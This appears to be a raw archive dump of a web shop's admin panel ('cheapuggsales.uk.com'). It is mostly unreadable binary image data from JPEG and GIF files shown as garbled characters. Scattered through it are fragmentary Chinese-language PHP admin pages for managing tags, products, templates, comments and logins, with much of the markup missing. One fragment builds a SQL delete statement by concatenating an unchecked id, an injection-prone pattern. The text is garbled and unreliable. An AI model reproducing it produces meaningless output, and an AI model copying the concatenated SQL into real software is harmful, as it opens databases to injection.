rhUȪ~Va)ur~Kٍ$u}tL!S>؛h5RXmFal7*W3N*6oLj*K]$] -vyK~#l~uV=j=ޘ=*؎<{Ļ]وEfU+sJClGbӠ3 FG;M${O =ZpEXf5MCuI4 9K8\ksnZUJ\ؙpKN~ zh⅟s+i Ǒ1xxP!2/3=DEmԜx[U-IU`xg$\΋~!vDwNn늠o)(8JR{.'Cө 'JT.V'-g5c8~6 VgP0Kϧp) _Lg^h^LDx@OQt <ϙf V@|:?$qyu[: ʀ ^ S6@Eۧ)BVF=Gg6Kϧp&g?E*#&M+%k?'WA޴kܸ<ʎlt}>r^Zͼћyz"vj|%@V]{/KQT2Qͧp=|y=D{ykmY̸ \>#6pvH2;~z}jRFDygb*w#s5Z֖I(Ш5^!yKCpX9 X=,Ec|#S^kGU<7{` ž7_S7wOvCg-$$᫡Jk\tzbk@UKL{FjtFRLj%Pg Ew\,GT+X奆V%08D8ch|%f~"^Jx-TU㬖'{.{; ƾ8!,ZLMƹ-nYF#6 4QjoqQ,Rz֤DS*Ru(O®ZtfsFnw͂[ iּgN bmԖ& \@߇j=[b5.!$KQcX2hssq$P *Ьy#GYG@`>$If*6Y$jQ?\L)sMCE Vͨfi-g?۲_);1~8;xzϔVlZ2O!r!X9*]zशez~JPoqYd޿sWHO_ߠ?<ϙI` YQ <ϙġXa9(NR@}͜/_@)6XtvjJ|:1yyb[O\T:>FTa|@ qXIu ~I-1O)7xu 80!}/.ǢƦm[O\SP*z <ϙ~z+GPTaPGZQ6Sثɒ^/\.+gFjV|×R2>g{ZcH[GWӗkj%c#Y˯p@Rn낱| @B!GWB|dm!dm!Byci8)Q#1`4I'5H|*b#pG54 -L>C-:[RyG^E4ѐA$'5y2[: ʀKϧp!`Q(mmå//ȼZo%ۣ*=jQ1} 1| ` YQ <ϙġXa9(NR@}͜/_@)6XtvjJ|:1yyb[O\T:>FTa|@ qXIu ~I-1O)7xu 80!}/.ǢƦm[O\SP*z <ϙ%lTx=3W)k~Ql,}{mUτ1ī0wr~ÿ+:l9*OSQ4h^$zj"?Pܮ6D~ WH\<3?If|uz-"EbkJuEd#o #wŃ+ãhRfKQϙjQiٝg,CSU!D MpB@B%ӸʅA-k?M?+|Oȸ^~Jfy4|ka돸]Qk=jQ"/"""!pCbv>f2g6 A|J:y$  6 80'+e u0)o/EOn< z*x<oY@wk6sX?%5-Myz V YGT@y3x<o.=pYXg?Dk h^Sf^V&(˯q꜈)Myz#_MQïǗwb-9&3/5-1O)7xu 80!X%Ǯ qDwR@}Ÿk6sX /55e9Rw\#`N@*g6c| Cꅰ<-UfO/""E@d9(3`RQ3`OVʎa| >% qDwqyu@YGTWByl|:Mٷ[O\SPGVF=G|Jx**?| ϧp͜,M`~~Dc 0'+eX>F0v6G 7xuIî NS!D MpBϫmF2q25t={Pkv}m5FJ?33d@pC6sQ~;xMb"0)(0'+eG>fva^};Iuc8@b ,*z+| ` YDwk6s@} lbEۧ)#a+#h 6[P/>͜oM` Sf^~5F=Gg6[K\V")u׸ٷ &U~Iî 2A9" Sf^ïTuq/> ~I` L@ MpB@Ba|V vswG\Q/>T/_@&3/4 ˯p&"w\#`N@(⺰B q@wq n".=qRnJr!P0!'7tub$k-9&3/4 ˯p ?|@ NT(Vgx_n".=qMB6 8>fx`,^};59 _oMZ6XtjF=H=u%zoDq2fd?tsZw<Zi-m^#.d c|g'/dfˈJ?|/>Ÿk6sX /55e9Rw\#`N@*g6c| f,(!^};59(?|]z঱NnsX@y3;OBswG\Q/>|:1yy^]{1F=GЀ>fx`,^};59 _SF6mV"0xOQ@OB (NMf~䦰^]{o/D ?|@ #h 3`O@%Ǯ +l|:M lV*?|@yu S)o/Dk :uc8QNLX?$q^]{ V&!r!G>f+x9(N*HïǗ׸Iî Ǒ0' q]XT!V^};Iuc8FŊOn7xu|%9 [:5Ǘ׸Zbn Rn'*p+3`B<^]{D/LOn YGT@y3x<Q/>͜/_@䦌-Myz,U~5| #h $I2RLe?`ᓀ#u $dA j;kI켝䮥5ҷ3ݝ8q?%mDjx5g&C/3ջ??>}_4R0M9|_F<|.vqf <Ӗ ˯qAJMpV<9@y3x<U#ca+#h 9|!=w\:4>9E24b+#A|?ꗟS_xb{4:H mͮ8يJ^g|ҞvitPvܠ_ZַkqJZ5(F}LY @>CRw\)3`BӸY%Ǯ k<ϙIG<ϙfx ?|]zಱMf~ï/.ͼ5b MpQ^9R6F}_@&3/5yŀ[sLg^k׸Zbn Rn'*p+3`BK\:y"|:1yy^]{1:y#r!GՅ@BoNnӸ/_@&3/4`LXtv늓w\GS <ϙ~9+)#_o1yy^]{ V&!r!G>f/׸Bͼ+tvjx@OQ0'+e u ~Jhٷ[PG6 8 `U~xe RwMf~Cses'_+-F'kzU:h4WF+IHH\?j*An^<&tU$L?gH?a1eG+T~ -svG欇4p>#YT <ϙf%>fx`,VgP0Kϧp) _Lg^h^LDx@OQt <ϙf V@|:?$qyu[: ʀ ^ S6@Eۧ)BVF=Gg6Kϧp&g?D -9) Sf^n M@y#% qDwqyu@YGTWByl|:Mٷ[O\SPGVF=Gfx *Ǒ0+ 9| #h]z➬y# YG@Kϧp!`&*ryl+x v낚E9(3`RQ3`OVʎa| >% qDwqyu@YGTWByl|:Mٷ[O\SPGVF=GRx,79Gcheapuggsales.uk.com/admin_frad/images/manage_r2_c1.jpg0000777000000000000000000000440111633550314022042 0ustar rootrootJFIFHHC  C    <D  !TU"1AaqQ2BRrt#3s$&46b+!12AQ"Baq ?ߋj%}^$ДHDI/^0R"9Kx-tD^ |dI.΅.aD^ |HkZH#QXJB%)33!71l%мKx- A$: Kx- A$: Kx- A$: Kx- A$: Kx- A$: Kx- A$: Kx- A$: Kx- A$: Kx- Baxfi I *qV^RoJLW8)8S;P~A~ə]V1VRDkEA/>;~B)6:UvȔItobi7Yi. {̏̇-Tl令/nEe¶V=},WM^ 3MG~_@|})c|Á+RtEdճsFea1ncܧ2r%n>'-u7LxzzRE|ˁ+Rf*\`4xfpt0ٶnI IF¼Ң%[WJ{Om:;ZyKo>iEq45dEO$ŵitwpNtO' SWMЗI_]%EmAJm(=y/M.I襎zpzxJ^x^x^x^x^ \oL>zz ωDT,f7ˊ&I)_k2?Aٶl^j1X]1QԢMI4S> fZHOf.e :}WM->Wvi)>?͸WTu̬ժOE,v^1 ^/ / / / /TԩHU!?2芓 _sUݙAaDHQ]4+^ݴ风f;zYԧIJg!vJ8!^8hQn ugjbjͤ7Pj%խMDI[P.KI%'ڥU5SO7}>92b =W@Ħ\]ZR+ j$c,c1 `0c1 `0cU*ujcheapuggsales.uk.com/admin_frad/images/up_list.gif0000777000000000000000000000024711633550314021274 0ustar rootrootGIF89a!,TIdθI8Eh8H A@ h PnV8XP;$KňL3’CQ u}WfCq2{ģrh&;cheapuggsales.uk.com/admin_frad/images/manage_r7_c2.jpg0000777000000000000000000000131711633550314022053 0ustar rootrootJFIFHHC  C    L. A!13t"24Qqr23" ?`@E0E` c$DKv>LʄsKk:\h?g@0qGW܊0;QTe zdLm64Er3[Sj*oCY쉗&&For*tEQ@-b=2DڄnEN2 Vg&^P"ȩF],DjDW#7:`vˠ1[Eșz"mBhfm` Q@mm{o2Dڄ՜2M9R}֖輟M˾u+ӨHÞ`+ |2_K㑿rf"n\(8B,I zPfu羄bE.(^l~'v~&3侲򕮄cheapuggsales.uk.com/admin_frad/images/manage_r2_c13.jpg0000777000000000000000000000122711633550314022130 0ustar rootrootJFIFHHC  C    r3 acQt!135DUdq1A ?0S30S iD])KkL!_wohF1m(ltknfyA&ۙPIFgaѭtknfyA&ۙPIFgaѭtknfyA&ۙPIFg&eܤkqar E*)"ވp٨̐ҳ'N-R ) @) @)<,wsfc}ggÀN]QK K K K K K )ObQ;9p)[;@'N/|ylgqM8*\ ×ێͱ ʿcheapuggsales.uk.com/admin_frad/images/list_title.gif0000777000000000000000000000117311633550314021770 0ustar rootrootGIF89a)yo` qCִ`333A@0\8{GvfۢRqsi߈4n苲SǦ׵!8,pH,Ȥrl:ШtJZجvrSK.ðL/c>s>Z-&v'yLfJ6#6]**K# W1}I$ S'͵'J$" Oʎ͞$!0Gp e>K  lPb'%w."Ș 0E(|eoܣ @@)L2YvB j8JA :`Pg?}D@>o0^? o쏧?ήߠn}@K=6|CM5F9DDD4fff333"""ݙ̪UUUwww5W}s=E[GL9;5_|~kzOQA92>=>65G"~،,i H*\ȰÇ#JHŋ3jȱǏ CIɓ(S\ɲ˗0cʜI͛8sɳϟ@ JѣH*]ʴӧPJJիXjʵׯ`ÊKٳhӪ]˶۷pʝKݻx˷߿ LÈ+^̸ǐ#KL˘3k̹ϠCMӨS^ͺװc˞M۸sͻ Nȓ+_μУKNسkνËOӫ_Ͼz7 _>ϟbK,&`d,!(PVha^^uN}$Qh`0h4֑}.H(H%$\pac- $@%i2-@HRG(P,"X%hyҖB6&r4IASi!i馛B)瞠ÍI裐2dM&hsJ9id)ARjiTpX6hZ (e(Z '!A+h0N+Tg*@:˺i븸J#$@!)SE,+G @K,«0~ "%8RE;,4j@,lr~,#TrX/:( $L#|uA|D\q03=mfLz 0X  %Lخm+Rr'lOLuVntI d[,[/L o77R}kݸލwޗ-"⨂J8lKP$1:t")ȃxm4LFW0PNXȷ5nˮSw7x9P`ָD jHeLr G8B4akbZ`W[8o qj Z~K7}{H(2"MH&6f 1 ֠4a8-n=ܒ74p$"a}h+H%'Q*B@Q 'HHB^8# C2ьhLa#XҍFAxN`CV(?Cd! Vp4&BI07Na ^MH9/_yFlq-M'RUT$țr<* J8E9xCQ"IϞȇ1 g8@C JlP#N# PrdЄXy MXX2OT  $AmhЃj/R#i Ɇo48)t*xdTi M# Uz53LWD>NVKny9yiTAըk%qIJؕP|x4XvL9ֲv8ByP^z6 xG t55Zȝu5,Y3 =hBP7R34!xgpmicv}A-n 7AsʹYƚ<ݴw1\o{`ůQyw$aT lgHO!mG/qjǧ&w,ͽVUfSr[{wA=m9e) Xt'}aXÝ>qsUzq7uY]Z\reo o|n۳@"fBB-b Q3a\ A8ʂ`|X@JO;/5C^|+˿;wy ȰͿ :[H`Նn>82g7j[Bvl2DP| X|wʷ|pW_uԷcMnFy}Gye~i7~淂6ps0. z~w^Gp'&S2:W-v氀N$8X7|(}x\f}yn"v$`&r(yv,z9wsp7u xHx 7~L"S<6eCxb?XH I XOxh8SWJiu'yd}#8](}'mo8 41@8} }t.L uhVp{`lH;Sx(}xMǁ1!4#wgfcj(mX 80 xx)} ڠ) 7Hs) RӘ@gUb`TpP*j xNxTJ牄ǎVu\H8<\}\ܧgy7yr.8Їx)`Yt@LstIc 0^p)zz)~94)Q8t:)u< }>ZwFL ~Qv7G(V )]0`bb ۠9Er4ؖqOP@ zyyyٜ3S&(j GgvIyPٙHUixxٚ YPx`L]3eg9e$a,t 9Q' { oP^")6Yٓ𸝷ӝ(HHي乔I֔k(s-ȞyɚyLbRRN@.LP{zT{5ppOue${prp` jx |#+Y2yI*zעY}88YYZ<`>'CJEG I) MʤO0SS*`R@tПZ 7hb#"GVbV 1pXU9rvivڧڧ::'jx:x٨iYc5#w Vg?ɞwXJIzɪO*R /0kNP🱵aV:^f,¦#/Tb!L ź"rZ غ<۳?ۭ!ފ˩.YMQ+Ig9t\[^kyj8YDʶp۰T  v˷w~˷؀ 0 YUVL @p4 X_,,>{C (JP{Joƻ3껓"':~ڙ۞ټP*+R + ˽+{+ kz;cgep0"RpJ4_0|h̀ ;E{ܗ4ٴNˉ\MU )I:dJ*l̛/1\ RJ ;};D\F @ |˷ NNgQIpl_?,cihl>pD; F롞`wL|l,z;$kګڮ"1+%к)D*WL]b1,hŬBP DH.!`& LOnR>]}^i< \뭴]sLς ܵb;˛~ɭɚ >N>~ N⚾"- Ꞿ(+N+pz3b+JMc5ž܅P셀(PFH6`>.^P>PPTߎX]g bnd^ik,76u(€=ؐ\w؁Š ؊>ُٔ-nNB霾&~,0_22_289o@B^F>"QC0RCV~V\^]`a dϾjn?~tPx/~ߍ_>γ ,w \<|›+M۩^ q_"頮o.05O6?_WpWP"/"p؟?A0__7!p?c_ffomC& vP!…' DD+Q<~EȑXLDd3-[ZS̘ lęS =}sPE%TRM:UTR\ŊUV]~IXer@6m mvWܸ޽[E| `„EFbƌ5<Yɦ,_|Jͨ<JѫL>J \~=Jlڵg;w+޽{<ŋB\V͝?]zt7խ]ݽ@xG[ ܿOA|W_~ "? 40A3 |0B ' / 7C9"DG QG41EE8E_fFo1waG!$BH%I'CpIe +2+ J "(:"59b3#$)NL%;is(AZЧ*Qb,G,IRR.+ӹT*+ #51SC2UW 3W94YI5[Y6]m6~-X5X{.Y禛:붃w PzB:)EѬ e:ITKҴN8SPuTR 3U1Tcl\ VdVlE WtWGU`}Vb;9egV:gvivkk܁mrq<]u?=^ %}O`f_qaك"%^2cw-ALS^Zfbf:m~)gnϼF|եXcheapuggsales.uk.com/admin_frad/images/manage_r2_c14.jpg0000777000000000000000000000117311633550314022131 0ustar rootrootJFIFHHC  C    r- S5"1BQUq1 ?TvmU`‡U8Y_ރ5Mfzԯo@5-RŽTjWjJ SY_ށk5+[5Mfzԯo@5-&,?~`ao " 7@*P ϣyW~WKܧoir߉Afܠ3swnPv7(;LnnM77~&ir߉Afܠ3swnPv2~yG2f+#܋kpcheapuggsales.uk.com/admin_frad/images/login_3.jpg0000777000000000000000000004274711633550314021175 0ustar rootrootJFIFHHCC_ @ 1!2A "#q$3(X4BQW֕ R  !1"2A#BQaq $RV3&4CTWb%'5r6DSUces ?EVW<.ǩ) uOpL Ӣ}xKVtD ɈU?0% }`zSBNm'N!xB2z__O= u~D?0%">NmŸ }O`NClC۟CTЀU'<C:ބ}dL@__O6琅e+4IORF:'܇=6\>1_AxL*|z__OuJS0T&=weJwm: !\i)=-kVIIE4駖8"f7K3mkw=LQDNj\S,wPE$һLt;.1ˆpz!ɡa$՞촬=*rI t:ɤdJpٍ6kI)zt$gC>S3Y7|:(rϙ3Je*_ٮɅvmrjc.\LW&p aF`^1d>2g>6j#%hSA-$5>4I*u]>rTkFE6S=M;7!%r1\e+梯L'U#~#2[p?g-(Dka!&Rϸ10F\5? 9S\2pӈ*h mP\i[^HHS/ 1*xM[mnͨ1aPdpzqV.^2#kqXi %w5絋2QU/b&ew)g&N[\52D_r|x.?u'HYNdSY֯Wi†,mAaK%$ao2m<mY%di,{CMsWo-Uj.uwt;3q)DiĿdy|]/mi%Z8ǤNgwt~m c_ׇ"s?LG݀k{?٫xO/I]&H\L=v|k cOAU֖lnkq'M\IԤ9'qҽPt|@j5vdy2 ܜEnr);qQhU'sw NnJ^^UTv9 eZpw; }Gq"R=eW'2:TtHY$*=iZuNY6Tm8N:W\8!Pd|C5QOufQ9ISoiG+2k(xN5E]3=^|O]+ѼĭFrǕʏXa8-ttď?oP8XWG㭒@*XKI,M2D[}JmYJWpۃ$gt5sk=;.9:+~V&Se%;8dS yϟ)!I#_prڔdJ߉W[[dM-HZD%mDXJ q֒8*#fjUٟSZiYTNRTDw4#TL5ʔMž&@sTWmʡ¯6AO#ѼݨE\"I| q;'pqT(Ѹ|=bx ւm<,.%Idq-:~r؈Z?DM#cS.{j}nsQ>ST8T↗.F=q"YovDu[uF'5(1qAO#b[ vvI#vQ\NH ga }SRQ7>KьnUsQ.TDUDp c-*;jIm3jqICdRi&Rԣ$fy j}5Q/uOlscA+ P.W 9ri,Y&]bc/X&W :DN|u;b墰UzI㩎:L -!iեQۊ" 2]ERe5e-CѻՐE+kFc*ꅫپzZڎ#jS(W8E\u/qz脂z}ߑ %4`T2|ze&/_ M`$g6C@оq!xO OB Lp.Se&o>=I/RTA~^3_O_}`L@E^#fSԂ}`$g&xOR*z7̟ BL@? y3|iko~$#$ yS|D nS~>?W<.ǩ) uOpL Ӣ}xKVtD ɈU?0% }`zSBNm'N!xB2z__O= u~D?0%">NmŸ }O`NClC۟CTЀU'<C:އZW]3l7 mT*-JG!kCojKDn 1a[u[rյlk<œj+]u}{EGQTnn gS7ļ@ۋU?Ux *gRuNkq+gvR7ҭ*Z%É: ~qLT;kvT-$jojGo5.m;w3 &F\^rmK>$gڹͽ%d_ wBb(Wp+Mp"߻EM}sϓoߟhbކoZgqÛ{c۪-VwJIO~;&;7EY)T0s6p]B5mr -KJ[즕ꕝ43=) {uc׹ڝ+Urmt]5K=_) vn$aMo6{NEDov=5\<[U'jFhvDP fKq ju޿?WSv!t1^n#^ݹvI"븟Q6vxi4tz6ߞHwq«ol=tR=͉D 뎎lreqo8+VU_>â}?ͪ7ڟz,={kܛ6Nº =[}F$EwG9bwHƪ"NƦ?ySҸඈQ}W v40K%ZtST[* q Q-rTPHmCm U"q;_%MF_7j3o^0$Hz˜np#8mtr;Iؤܮоer*UdUjaDD oICbS"j&R8m2\1S*^\יҒIRD)JK"IqwwAU5U}L19"rD CRĂW(UYDY)5*E>ti!zLw\IfjғR5**K7.2{S+3soNZΝ ݛ=7kka?.݌w9fov"^4ns]Zn&ݽW9厠{1ˍQSz\8OXogca%jޝolvSw{Ng;;>޻w~|8͸\ܛqvXܻ6zm۲Ocn9{l(?\^ԇ{3JSo\M%vw R4IKQ29-MCwU)o6"=ɝڭoU ?e+[mepv9 Sչ˽ӥ.eJjVT2q:VRؕvt4ѭl of{7n[d=5ɗoMKO[ǁ[Yh7*UfUTWm\4ݔ֒~M9rgmDL*nܼI>-Ej FI]RigA7N[)s$bum3_j̉lTxOnΝvRboϕk[{[=L5GedfMܖK2\GlgSzr9hT *&Yt1VUnH\tI'l[92K+8ŵJMU'&k,R=./EvnkY0qU?8VaqMucUUWnL|ڌ0BH6ز}IQhV/)_⒢ Ăz7̟Cb .*7ʟD#=}߉0$4byWԩd }bbLx OSH_#$g q!xO OB Lp.SxqAξȂ')w~=IHOS}ۀ }O`NC__O /_FOVLFVξү y)Czsn:tOBy}$Vh_O_ y)z}6V T 9ϙ_-"ɨy} zH=T@oVCt9oP8)`w ٩\LnxQK?M^6z Wn^n#rEcajtO`,$nj ivbW+PYYJWamXȫ[x޽m} w4vk iT,NԅmÝ]?H#Ƨo4ێZky7kln,+}I]okU'8uDֻWsQ^r#ZWg=>g@{UѺ>sǟZ3#EWѨ\j+%OqWQgz01_1t9Z︰ 1/A|?q~с/mAۻ[pfuYt|~HmO.3۬Vph- iY>PZU3)dxKUov0\T7{># f\vN#nMjGĔ嚓Eޭ-ử7]Ѹu’NJT}Mjr}m e$˞ѳә(XWGzmWe͗XvN$.liu zj k&3+޿H%]Ӽ7ce_.ۼ^gSYvek]vK'ŵړwztVKoڊy^icvsfrSNKE[qYzb-j2mHa,VO2x҆q)I5CzkخN#NL"᫨ vwج}x hCޮJUx6b&Dw.VY[bjd:F̛ΦSY)%f eM伏Jȝw_(q7pnF?Sf"Abru7g v5^$55f.ZOym|z+S5jZ֔Nj[T f ح=:&l=6q9kV|u]*%w/yS$ln|=Mqi[prNGOEvߛ6xw;nv:Ł~$S.ǓCHz< yp۬ڔۭ8!(Ң4sױcsVjk 5Q9C5jȎkZZaQQy**rT^J0b>r Jr]em+[yU:Ӽi̸u6֕nV#˵-:U1!#"DEr5yMvGK}MXk$֪'KzUNjעr\W o<fT̽ѲCɚ*.Vr[x}nka>t{_i4^iVn5B2y&L9ˍrjfWdzSH}W?g'(5}1 0KƓD{! H=dU͵ȥW:K庤ctOmyO1nrOSa\V\`xL\Ö~]LKޯTN^Qu7$kiO4^)qKv/=zEEo\/֭'9jF/(Di3IIWNvc~}%\m'mY~MԖJw=îx>yb# &L JK 6Ǫ(҂(iWdљ}Nړ7mQUYfQqM1"zZ74ˇxC̴p[$yi^c rΜRೋ) Ŏ1ȗU\JD]seJP\%ZmֽS<}cj0.S 7ʟ*&/_FOH_wA}=~2B 7̟@6\>0}=~}ߑxOR*zT9@:'܇=$p%gOA~^6x_$QR+IUB\' fdDLYrk4IhYcu٬4έ]j6]WuS7o] IrY3[PU tֻ;ETrQp* wӎ\Jm>hӝѪZ%JN Pb?3^;ѧC4\#R6W6Tv)%u$vWSipff梪} ;"(aZWmNipͲ_ʍ\AQCObkOu%WꙑGrw&·9\_Lfg-ppȊ%Jn1z#(VU\5fd$aH6mٚG <}>I[xN|SmMo>G*r>ȖGGXV4rnۻ޴g iE^i&M|UlKunUzڮʸ0 R3 %:d#B#ԥY MjR(BHԥ+OU3*yWt#E&_$pr$D:===$1 5-8yT Ն0#U˷nmZ]kۨ4[*ZAF"V{uFگO~1OEu%Kq*6HX膅pZ̋Bj(d vgrY#aRko~$#$ yS|D nS~>?W<.ǩ) uOpBܕ8kvU&E˪ԥg7 _̈JQpR]r@TIK SS{ pCkWN()߻=;$G}bXMʿY(‡p,~jZc̲96ə|$fݨReSh_õ}{5-t*:BKȭEwsba^~ݼQoҺ/s+4cW eU"G*aeȓ.3c] y SlKx'2Gia]ww]J7,ti֭[hsVwNAیgZmn7/Z7rS3_yݣzJmݝ98 "> SouձBPVzι-75iwZ&c}[G.R?;h5=׻3徘D.mYwG4u$ZPG՚Pzw*ݦ=5λrֶ,ktkJܠvO6V"Dg4Tfr]oU.\jǦWrr}NIeT}kZl֊sezHш{2 IJҤ-$(*J%ED}F]GeasNJ~`8r JV.sQ-8'tԥo_xxRs%]=\ut8WE\fV|G+{1m蕴 o"#jMo;Q^*tv~?gSy*U>4c'/Yr$df3H5l"YyRYM w6ԖK4 ="rݺxޜò*UɄo7pMo}rHcRr$_~e1s =``ܺT3&µ.NJ+mgZ]Y-:$w5WdWZVwa?meUjj3_5&Qʻw+yۂ:sƙ`* guNhW w,rSn.Rq1W $FbUdרtj2#UgejSY(ȾJjR}7GzEXc[*"Ӛ\l7,.֪zQUK,Qs9ԩos~cnS~>?W<.ǩ)^漫-BݮwA{p(V"\MsLǕ6Jeyw MjMs\m3wT\.(UU7|C'h {]q\ꞍZhjn5ϖ J8dqO'ߋLRLZKy.)jG3IjhJtf}mJf3l?]Yilu-wr-FiSdki||sn\2nvnHjÖMGP]3ڕ3TZK\[k V bڕፕTێVhƍ+Bطmh7;sFƺ߷OJQ++Ej)lsF콲#{AHj5u]7+\>cW GkLW"[n[xCxEM:Fa՗夒{FۤлYܞ>+3"kZ%']gRVM|u-UX+.~;*e:fz$p289#Q4Ѻ"t~iUDI#Z>L%L%CU;k&G\ɴJ*[T%JWLEs`Li^6_i2LKKE4MXVOG5QPH㙎V2Xޛ_kTs\'ة9e$S&Ը|,ew7U6;UqajwŋSx%uh-i]ũѳoZ?cr10{de6c.17,cApE79[vh\Wb:Ҧ9?Ni.6 Zi0p煔ѭE;Y-z^뛝vTXG.~z&{> q7U͡4NR ØV[zXmH'gJi\jEL wڤIe<>rMjW\۹Ӫ̒ȔN2W~_ SnvH:\gКj̋dȜKߣNҚŭMQj$kKker]f6qS),Va^aQJ\:az$ꉣfir\]JҔ$҄|3׵rZ񨪷+[lSn$VPD*x"ʪʮ~ќ<;Di[&ʖ}}r3'Nl#SQƢn@D\S+:g!U(ըj7K*?dgSĆ\ieܤ `zYZz^C<>{|Xկcr*z)D3Xޛ_kVEk~EC%rIwuFp@Ul:/ -mSЬm:Jndh,Ps>jK=TʢyG%҂w6_r#+8ag}D({ͤ9Uij"CPE>߶ԫzIt%Ho=lcÇciIf8_v]k.WVjLՕS;-MUCy]̒_U7ug((v(K $ KILȩ]䇵echeapuggsales.uk.com/admin_frad/images/login_button.gif0000777000000000000000000000302711633550314022317 0ustar rootrootGIF89ah$3qP0sƀ`B`0߀iyJX j0 7pϰ@e`PE<^n}UM@ΰP@wsޠfp[pހ@ p`h@U0l c@@|P |Ps0z`Ք` ߀@~˰` t͠PϠuՐmPpP!a,h$aa#ĺλ ҄" HP |lXPaC/" FS0Q  CRȀ (3xȃ@DHIe j|p`C|AɣHE"ӧM P1B% h8P) `t**x5Bi !B\P%߿|@#K'oИ ) "Kc4^V)dASSZ_/ )(s(HN:P0tË@|k@(P; O!:809`9ձHՠRv9|0%,'9[ )Rd"C+C8RR?0R(%XfeCq×`FnYfw 2e2fސRCE埀&`eYyrZPCх R$07dpCꪠ 무Jؠ뮺q w*h \2 B Cɐ 뭭8 K ;úڐ]"q:`wkCC.d`A໯CL Wl IVlQElºkV[t`µ>]1|ATq4 dp)t 3Edp 4.pAImB"p-^YQPQDDP{-MD^P3UD)o'̭砇 Dn駟:D.:'x@yGQz9!/o'+|G/|g}p/to>!/oO H:#D&H Z̠7z FH(L WP$fH1 ;cheapuggsales.uk.com/admin_frad/images/manage_r9_c1.jpg0000777000000000000000000000050211633550314022047 0ustar rootrootJFIFHHCC 1q23rs ?@++2u;U>Rx,79Gcheapuggsales.uk.com/admin_frad/images/return.gif0000777000000000000000000000032311633550314021127 0ustar rootrootGIF89a `\(4FȊ~т@7LM)*ЪeM/9뉌!, P`$dihl떊*5jL&BQ"(İ,> ( DH0H`AR$Cc;cheapuggsales.uk.com/admin_frad/images/list_title_onclick.gif0000777000000000000000000000116311633550314023471 0ustar rootrootGIF89a߸vԳϙ͵ִ`勲qۢfRSqsC8̄{Gi)y4no` A@0\333!,@pH,Ȥrl:ШtJZجvrUK.VܱL/ ^Qp2v y Lf K- /0] %%((/+43W }I- /64S..َI1/&6O  J&&K'ޅWß$,†^8ȰBÇ \C 6QHb 3TP2dktކ@?tC 5k9Ѣ%10JJ3M#(2Kv 5B+ڷT ݻx; /x@p+q "cr˗Ahg!6se 1D^=aBc #.\XػK;cheapuggsales.uk.com/admin_frad/images/manage_r2_c18.jpg0000777000000000000000000000046111633550314022134 0ustar rootrootJFIFHHC     C  T ?@ ⭟5>cheapuggsales.uk.com/admin_frad/images/switch_right.gif0000777000000000000000000000010611633550314022305 0ustar rootrootGIF89a!,_Raz*zlqH&;cheapuggsales.uk.com/admin_frad/topframe.html0000777000000000000000000000054411633550314020364 0ustar rootroot cheapuggsales.uk.com/admin_frad/browse_tagtype.php0000777000000000000000000000464611633550314021437 0ustar rootroot
fetchAll("select id,tagname,tagdes from tags where parentid=0"); foreach($r as $v) { $html=<< html; echo $html; } ?>
ID 标签类型名 标签类型描述 操作
{$v['id']} {$v['tagname']} {$v['tagdes']} 编辑 删除
exec("delete from tags where parentid=0 and id=".$id); if($r>0) msg('删除【'.$tagname.'】标签类型成功'); else { msg('删除【'.$tagname.'】标签类型失败 :('); } } ?>cheapuggsales.uk.com/admin_frad/browse_product.php0000777000000000000000000000365211633550314021436 0ustar rootroot
选择栏目 选择内容模型
ID 产品名 所属栏目 操作
cheapuggsales.uk.com/admin_frad/statistics_code.php0000777000000000000000000000371011633550314021554 0ustar rootroot
请把统计代码粘贴到此处*
说明:这里显示的统计代码是被处理过的,如果需要更改统计代码,请复制原始统计代码重新复制到这里。
cheapuggsales.uk.com/admin_frad/add_catename_to_inlink.php0000777000000000000000000000015311633550314023021 0ustar rootrootcheapuggsales.uk.com/admin_frad/logout.php0000777000000000000000000000031511633550314017677 0ustar rootroottop.window.location.href='main.php';"; ?>cheapuggsales.uk.com/admin_frad/html_other.php0000777000000000000000000000611111633550314020533 0ustar rootroot
当前操作
请选择页面
附加参数 格式:参数名_参数值,多个参数用逗号分割
【注】其他页是为了系统更好的扩展特殊页面而设置,考虑通用性,所以此处需要你根据情况在上面设置参数,
然后在模板函数文件(template_func.php)中进行相应处理。
【特别】已用参数名:batch,name,filename batch表示批量静态 name用来识别是哪(类)个其它页 filename用来指定此(类)页面静态文件名,filename参数值在other_ext函数中赋予
这三个参数,可在模板函数文件的other_ext()函数中与通过$var_tpl['参数名']获取,附加参数获取方式相同。
请选择对应模板
是否批量全部页
cheapuggsales.uk.com/admin_frad/add_tagtype.php0000777000000000000000000000424211633550314020656 0ustar rootroot
标签类型名称* 英文小写
标签类型描述*
exec($sql); if($r>0) { $actions['查看标签类型列表']="browse_category.php"; $actions['继续添加标签类型']="add_category.php"; $actions['给标签类型添加标签']="add_category.php"; msg("标签类型添加成功!",$actions); } else { echo $sql; msg("添加失败"); } } ?>cheapuggsales.uk.com/admin_frad/add_moban_fangan.php0000777000000000000000000001774711633550314021625 0ustar rootroot
方案名称*
方案路径*
方案描述*
首页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
栏目页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
内容页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
单页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
搜索页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
其它页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
cheapuggsales.uk.com/admin_frad/edit_moban_fangan.php0000777000000000000000000002215011633550314022002 0ustar rootroot
方案名称*
方案路径*
方案描述*
首页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
栏目页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
内容页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
单页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
搜索页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
其它页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
cheapuggsales.uk.com/admin_frad/add_model_table.php0000777000000000000000000000354411633550314021454 0ustar rootroot
模型名称*
type="submit" value="提交" />
cheapuggsales.uk.com/admin_frad/verify_comment.php0000777000000000000000000000350311633550314021416 0ustar rootroot
ID 产品ID 评论员 评论内容 回复评论id 评论时间 操作
fetchAll($sql); pages($page,$r[0]['total'],15); ?>
cheapuggsales.uk.com/admin_frad/header.php0000777000000000000000000000631511633550314017624 0ustar rootroot
登 录 名:
登录密码:
